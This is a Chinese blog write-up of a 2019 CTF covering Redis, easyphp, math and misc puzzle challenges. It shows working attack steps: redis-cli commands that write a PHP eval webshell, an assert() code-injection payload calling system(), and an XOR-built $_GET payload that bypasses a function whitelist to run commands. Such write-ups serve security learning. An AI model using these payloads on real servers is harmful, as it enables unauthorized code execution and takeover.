NEST CTF答题夺旗赛(第一季)Writeup

发布 : 2019-09-14

​ 本次比赛时间9月9日10:00-9月13日23:59,每天放出三道题,题目包含Web、Reverse、Misc,可以说做题时间非常充足了,但是由于是个人赛,而我也只接触过一点Web和Misc,所以整个做题的过程还是比较艰难的,毕竟和师傅们比,自己学的东西还是太少了,下面是一些题目的记录,都是些相对简单的题目。

Redis

题目类型:Web

题目难度:⭐

1568432044511

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

​ 一看到题目名字和下面的6379首先想到的就是Redis未授权访问漏洞,然后打开上面的网址,是一个phpinfo()页面,猜测是通过这个页面获得网站地址,然后利用Redis未授权漏洞写入webshell获得flag,这是只推测,具体还要看实际操作中会遇到什么问题。

​ 通过查看phpinfo()可以看到网站的目录是/www

1568434662618

首先尝试连接redis写入webshell

1
2
3
4
5
redis-cli -h 39.106.94.18		#连接redis
39.106.94.18> config set dir /www
39.106.94.18> config get dbfilename shell.php
39.106.94.18> set x "<?php eval(@$_POST['a']); ?>"
39.106.94.18> save

然后访问http://39.106.94.18/shell.php 发现写入的一句话存在而且被解析了,使用蚁剑连接

1568435332971

然后查看网站首页的代码

1568435411362

找到flag在/home/flag,这里即使找不到也要耐心找找,毕竟都已经一查看所有文件了,而且权限还是root,不要像下面这样拿到了shell还找不到flag

1568435585943

easyphp

题目类型:Web

题目难度:⭐

1568435681733

打开是一个简单的网站,访问各页面得到关键提示

1568435743812

扫了一下目录得到index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
include "waf.php";
if (isset($_GET['file'])) {
$file = $_GET['file'];
} else {
$file = "home";
}
$file=str_replace("./","",$file);
$file=str_replace(".\\","",$file);
$para = "templates/" . $file . ".php";
assert("file_exists('$para')");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">

<title>My PHP Website</title>

<link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($file == "home") { ?>class="active"<?php } ?>><a href="?file=home">Home</a></li>
<li <?php if ($file == "about") { ?>class="active"<?php } ?>><a href="?file=about">About</a></li>
<li <?php if ($file == "tips") { ?>class="active"<?php } ?>><a href="?file=tips">Tips</a></li>
<li <?php if ($file == "flag") { ?>class="active"<?php } ?>><a href="?file=flag">Flag</a></li>
</ul>
</div>
</div>
</nav>

<div class="container" style="margin-top: 50px">
<?php
require_once $para;
?>
</div>
<script src="http://code.jquery.com/jquery-latest.js" />
<script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
</body>
</html>

简单看了一下,感觉assert()这个有点可疑,因为经常看到一句话木马用这个函数,所以查了一下资料

assert()简介:判断一个表达式是否成立。返回true or false。
当参数为字符串时,会被当作php代码执行

所以可能就是闭合file_exists()函数,然后利用assert()执行命令,但是尝试php读取文件的函数发现被waf.php拦截了,所以想到了直接使用system()函数执行系统命令,最好编一下码。

1
2
123') or system("tac dockerenv");# 				#编码前
123%27)%20or%20system(%22tac%20.dockerenv%20/flag%22);%23 #编码后

这里说一下为什么是这个命令,因为这个题是由waf的,所以导致一些函数和命令无法执行,我只尝试了几个命令,如果情况很复杂可以用burp fuzz一下,这道题屏蔽了php读取文件的函数,还有catls这些命令,但是没有屏蔽find命令,首先使用find / flag 找一下flag

15

然后因为不能使用cat命令,尝试了一下tac可以使用,所以构造上面的参数获得flag

09-58

math

题目类型:Web

题目难度:⭐⭐

1568437933122

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

​ 打开就是这些php代码,感觉有点印象,后来想起来是国赛选拔赛的题目,因为但是并没有做出来,所以印象不是非常深。

​ 这道题首先给我的感觉就是用数学函数构造出要执行的命令,使用eval()执行命令,然后找flag,但是我看了看这些函数,没发现一个可以转换出字母来的。

​ 后来在百度上搜了一下师傅们的writeup,发现清一色的都是使用了base_convert()dechex()这两个函数,然后我看了看这里的源码,有两处改动,首先是字符长度限制由80改为了60然后是白名单了把base_convert()dechex()去掉了,本来以为是白给的300分,原来并不是这么简单,因为搜到的所有writeup都是用到了上面两个函数并且长度都在70-80之间,所以当时我感觉这道题是做不出来了,但是别的都是逆向了,也不会做,就只能肝这道题。

​ 首先分析一下这个题目,首先对参数c进行长度判断,太长直接结束,后面是正则匹配,除了白名单中的数学函数之外的字母和字符串都不能使用,然后一切的转机就在发现了rand^(x).(x)这个操作,可以通过异或来构造出大写英文字符,因为这里限制了60个字符,单纯这样构造出system()这些肯定会超出长度,如果能构造出$_GET或者$_POST就能忽略他的字符串长度限制了,然后使用rand^(7).(5)构造出了 ET ,使用is_nan^(6).(4)构造出了 _G,然后只要构造出$_GET[a] ( $_GET[b])使a=system,b为要执行的命令,即可执行任意命令,而且不受长度限制。

因为不能使用[ ],这个可以使用{ }来代替,而变量可以使用函数中的字符,只有这些是被允许的,想要构造出$_GET 需要使用变量覆盖,即 $pi=’_GET’;$$pi 覆盖后成功构造出 $_GET,最终构造出

1
;$pi=(is_nan^(6).(4)).(rand^(7).(5));$$pi{atan}($$pi{atanh})&atan=system&atanh=find / flag

查找一下flag,还是那个路径

09-37

获取flag

09-14

这道题真的是艰难

关于为什么使用rand^().()能构造出字母,关键是异或运算,这里的异或运算是指,取每个字符的ASCII,转成二进制再做运算,因为不能使用白名单数学函数以外的字符串,所以只能使用这些函数里的字符,如randpiis_nan,所以理论上是可以构造出任意字符组合的,这里可以自己写个脚本实现。

easy_misc_puzzle

题目类型:Misc

题目难度:⭐

1568442499692

下载了是一个压缩包,解压后是一堆小图片,感觉像是二维码,之前做过拼图的题,所以第一反应就是拼图。

1568442668938

然后注意到这个png图并不是透明的,看一下文件头,这是一个jpg图片,所以把后缀都改成jpg,拖到ps里栅格化一下图层再用魔法棒抠一下图,在PS拼起来

1568442657094

1568442861126

这个真的简单

参考

redis未授权访问漏洞利用总结

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.freebuf.com/articles/web/186298.html

https://www.jianshu.com/p/00fc814aa6d2

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/eac4b7e9.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!